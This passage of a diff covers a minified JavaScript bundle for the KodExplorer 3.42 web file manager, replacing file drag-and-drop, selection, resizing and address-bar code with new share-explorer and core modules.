i,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(t){if(!t.shiftKey){if(ui.isEdit())return!0;if(1!=t.which||e)return!0;i=$(this),d(i)&&(g(t),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var _,v,g=function(e){rightMenu.hidden(),t=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!t)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var i=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return i=0>=i?0:i,r=0>=r?0:r,i-=p,r-=u,s.css({left:i,top:r}),y(e),E(i-h+p,r-f+u),!0}},y=function(e){clearTimeout(_),_=!1,_=setTimeout(function(){try{x(e)}catch(t){}},10)},x=function(e){var t=e.ctrlKey||e.metaKey,i=function(e,t){G.sid!==void 0&&(e="none"),void 0!=t&&0!==t.search(G.KOD_GROUP_PATH)&&0!==t.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(t)&&(e="clear");var i=htmlEncode(core.pathThis(t)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:''+LNG.copy_to+'"'+i+'"',move_to:''+LNG.cute_to+'"'+i+'"',remove:''+LNG.remove+a+"",share:''+LNG.share+a+"",none:''+LNG.no_permission_write+"",clear:s.attr("data-beforeInfo")};t==G.this_path&&(n.copy_to=''+LNG.clone+""),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",t)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?i("remove"):t?i("copy_to",a):i("move_to",a)}else if(0!=$(".recycle_hover").length)i("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)i("share");else if(t){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),i("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?i("clear"):i("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!t)return!1;if(t=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,t){switch(e){case"copy_to":ui.path.copyDrag(t,!0);break;case"move_to":ui.path.cuteDrag(t);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},i=s.attr("data-actionType");-1!=$.inArray(i,["copy_to","move_to","remove","share"])?z(!1):z(!0),e(i,s.attr("data-actionPath")) -}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('
        '+e+'
        '+e+" "+LNG.file+"
        ").appendTo("body"),c=!0,setTimeout(j,20)},L=0,N=5,C=35,T=20,S=60,j=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},t=e[G.user_config.list_type];$("
        ").appendTo("body"),v=$(Config.SelectClass).filter("[data-path!='']");var i=v.clone();(v.length>=S||$.browser.msie)&&(i=r.clone()),i.appendTo(".file-draging"),i.each(function(e){var t=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=t.offset();$(this).css({left:a.left,top:a.top,width:t.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*N,"data-sizeAdd":L*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==i.length&&($(this).data({"data-animateTime":0}),T=0)}),v.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");i.each(function(){var t=$(this),i=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=t.offset(),s=e.offset(),r=(s.left+i-o.left)*n,l=(s.top+i+C-o.top)*n;t.css({left:o.left+r,top:o.top+l})},complete:function(){t.data("status","finished")}})})},T);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},E=function(e,t){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+t})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),t=$(".draggable-dragging").offset();$(this).css({left:t.left+e,top:t.top+e+C})}}),void 0)},z=function(e){var t=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(t){var i=t*N,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+i,function(){v.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+i,function(){$(this).remove()}))});var i=setTimeout(function(){$(".file-draging-box").remove()},400+N*t);$(".file-draging-box").data("removeDelay",i)}},u=function(){var i=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||t)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(t){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(t.target).parents(".split_box").scrollTop()),$(t.target).parent().hasClass(Config.FileBoxClassName)||$(t.target).parent().parent().hasClass(Config.FileBoxClassName)||$(t.target).hasClass("fix")||(rightMenu.hidden(),t.ctrlKey||t.metaKey||t.shiftKey||ui.fileLight.clear(),$(t.target).hasClass("ico")||(i=t.pageX-s,a=t.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('
        ').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(t){if(!e)return!0;var o=t.pageX-p.offset().left+p.scrollLeft(),s=t.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-i),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,i),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),t=n.offset().top-p.offset().top+p.scrollTop(),i=e+n.width(),a=t+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),i-e+f-d>Math.abs(e+i-(d+f))&&a-t+h-u>Math.abs(t+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,i=null,a=null,void 0):!1}},f=function(e,t){var i=$(".fileList_list_split .split_box.split_select");if(e)i=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();i=a.parents(".split_box")}return i.find(t)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getColfileNumberDesktop(),s=t.index(i.first()),r=t.index(i.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return t.eq(n)},_=function(e){if("desktop"==Config.pageApp)return m(e);var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=t.index(i.first()),l=t.index(i.last());switch(e){case"up":n=0>=r-o?0:r-o,n=v(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=v(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=v(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=v(n,!0);break;default:}return t.eq(n)},v=function(e,t){for(var i=h.fileListAll(),a=i.eq(e),n=i.length;0!=a.parents(".hidden").length;){if(t?e++:e--,0>=e||e>=n)return e;a=i.eq(e)}return e},g=function(e){var t,i=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),t=i.first();break;case"end":n=a.first(),t=i.last();break;case"left":n=a.last(),t=_(e);break;case"up":n=a.last(),t=_(e);break;case"right":n=a.first(),t=_(e);break;case"down":n=a.first(),t=_(e);break;case"pageup":n=a.last(),t=_(e);break;case"pagedown":n=a.first(),t=_(e);break;case"all":t=i;break;default:}if(!y(e)){if(o&&""!=n){var s=i.index(n),r=i.index(t);if(s>r){var l=s;s=r,r=l}return x(s,r,i),void 0}b(t)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var t=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==t.find(".children_more_cert.cert_open").length)t.find(".children_more_cert").removeClass("cert_open"),t.next().addClass("hidden");else{var i=t.parent(".children_list").prev(".file");b(i)}else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").prev().find(".select_split_parent");b(i)}break;case"right":if("list"==G.user_config.list_type)1==t.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(t),t.find(".children_more_cert").addClass("cert_open"),t.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").next().find(".file:eq(0)");b(i)}break;default:return!1}return!0},x=function(e,t,i){if("desktop"==Config.pageApp)return k(e,t,i);ui.fileLight.clear();for(var a=e;t>=a;a++)$(i[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,t,i){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},t={row:t%a,col:parseInt(t/a)};if(t.row=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==t.row&&(c=t.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return t},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},i=e,a=function(){if(LocalData.get("resize_config"))i=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(i=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(i);LocalData.set("resize_config",a)}$.each(e,function(a){(!i[a]||i[a]=i&&(i=t[e]),n+=i,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+i+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},i);l[r]+=a,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(i=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},i);r[e]+=a,o(r),s&&(i=r,$.each(i,function(e,a){t[e]>=a&&(i[e]=t[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(i),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],i=10,a="",n=0;t.length>n;n++){var o=parseInt(t[n][0]);if(e>=o-i&&o+i>=e){a=t[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,t){var i=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=50,o=120),i=n>=i?n:i,i=i>=o?o:i;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(i),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,_=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,_="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var v="div.fileList_icon div.file{max-height:"+m+"px;}"+_+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(v,"file_icon_resize"),$(".slider_handle").css("top",s),t&&f(e)},m=function(){var e,t=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var i=function(t){var i=0,a=105,n=30,o=250,s=e+t;s=i>s?i:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){i(t)},end:function(e,a){t.removeClass("active"),f(i(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(t){var n=t.clientY-a.offset().top;e=0,i(n)})},_=function(){var e=function(e,t){var i=e.parent(),a=$(".split_box").index(i),n=parseInt(i.data("before_width"))+t;if(!(150>n)){$($(".split_line").get(a)).css("width",n),i.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,t){var i=t.parent();i.addClass("is_drag_split").data("before_width",i.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,i,a,n){e(n,t)},end:function(e,t,i,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),v()},v=function(){var e=jsonDecode(LocalData.get("split_box_size")),t=0;e||(e=[]);var i=function(i,a){var n=e[a];n||(n={width:250,left:t}),t+=n.width+1,i.css({width:n.width+"px",left:n.left})};t=0,$(".split_box").each(function(e){i($(this),e)}),t=0,$(".split_line").each(function(e){i($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(i=e),o(i),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:_,bindHeaderResize:c,setFileIconSize:h}}),define("app/src/explorer/headerAddress",[],function(){var e=function(){$("#yarnball li a").die("click").live("click",function(e){var t=$(this).attr("data-path");n(t),stopPP(e)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball_input").css("display","block"),$("#yarnball_input input").focus(),!0});var e=$("#yarnball_input input");e.die("blur").live("blur",function(){n(e.val())}).keyEnter(function(){n(e.val())}),$(".header-right input").keyEnter(function(){core.search($(".header-right input").val(),G.this_path)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(){var e=$(this).attr("id");switch(e){case"history_back":ui.path.history.back();break;case"history_next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.this_path,type:"folder",name:$("ul.yarnball li:last .title_name").html()});break;case"goto_father":o();break;case"setting":core.setting();break;case"search":core.search($(".header-right input").val(),G.this_path);break;default:}return!0})},t=function(e){var t=G.this_path;a(G.this_path),$("#yarnball_input").css("display","none"),$("#yarnball").css("display","block");var n=function(e){var t='
      • {$3}
      • \n',i='
      • {$3}
      • \n';e=e.replace(/\/+/g,"/");var a=e.split("/");""==a[a.length-1]&&a.pop();var n=a[0]+"/",o=t.replace(/@1@/g,n),s=a[0],r="";if(G.json_data.info&&G.json_data.info.path_type&&""!=a[0]){var l=core.getPathIcon(G.json_data.info,G.json_data.info.name);r=''+core.iconSmall(l.icon)+"",s=l.name}o=o.replace("{$2}",a.length),o=o.replace("{$3}",r+''+htmlEncode(s)+"");for(var c=o,d=1,p=a.length-1;a.length>d;d++,p--)n+=htmlEncode(a[d])+"/",o=i.replace(/@1@/g,n),o=o.replace("{$2}",p),o=o.replace("{$3}",''+htmlEncode(a[d])+""),c+=o;return'
          '+c+"
        "};void 0==e&&$("#yarnball").html(n(t)),i()},i=function(){$(".yarnball").stop(!0,!0);var e=$("#yarnball").innerWidth(),t=0;$("#yarnball li a").each(function(){t+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var i=e-t;0>=i?$(".yarnball").css("width",t+"px").css("left",i+"px"):$(".yarnball").css({left:"0px",width:e+"px"})},a=function(e){var t=$("#yarnball_input .path");if(void 0==e){var i=t.val();return i=rtrim(core.pathClear(i))+"/"}t.val(e)},n=function(e,i){ui.path.list(e),t(i)},o=function(){var e=a();if("/"==e||-1==e.indexOf("/"))return Tips.tips(LNG.path_is_root_tips,"warning"),void 0;var i=core.pathFather(e);ui.path.list(i),t()};return{init:e,addressSet:t,resetWidth:i,gotoFather:o}}),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}); \ No newline at end of file +/*! power by kodexplorer ver3.42(2017-04-07) [build 1491568966742] */ +define("app/src/share_explorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/core","../../share_common/rightMenu","../../common/taskTap","../explorer/ui","../explorer/fileContent","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/path","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize","../explorer/headerAddress","../../share_common/topbar"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".fileContiner",FileBoxClass:".fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".fileContiner .title",SelectClass:".fileContiner .select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",TreeId:"folderList",pageApp:"explorer",treeAjaxURL:"index.php?share/treeList&app=folder&user="+G.user+"&sid="+G.sid,AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),core=e("../../common/core"),rightMenu=e("../../share_common/rightMenu"),TaskTap=e("../../common/taskTap"),ui=e("../explorer/ui"),ui.tree=e("../../common/tree"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),ui.headerAddress=e("../explorer/headerAddress");var t=e("../../share_common/topbar");$(document).ready(function(){function i(e){var t=RegExp("(^|&)"+e+"=([^&]*)(&|$)"),i=window.location.search.substr(1).match(t);return null!=i?unescape(i[2]):null}core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),ui.tree.init(),TaskTap.init(),rightMenu.initExplorer(),t.init(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".frame-main .frame-left #folderList").css("bottom","0px"),"file_list"==i("type")&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius")),$(".kod_path_tool #upload").hide(),G.share_info.can_upload&&($(".kod_path_tool #upload").show(),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()})),$("#fav").remove(),ui.path.show_file=function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(ui.path.makeParam().path);window.open(e)}})}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bin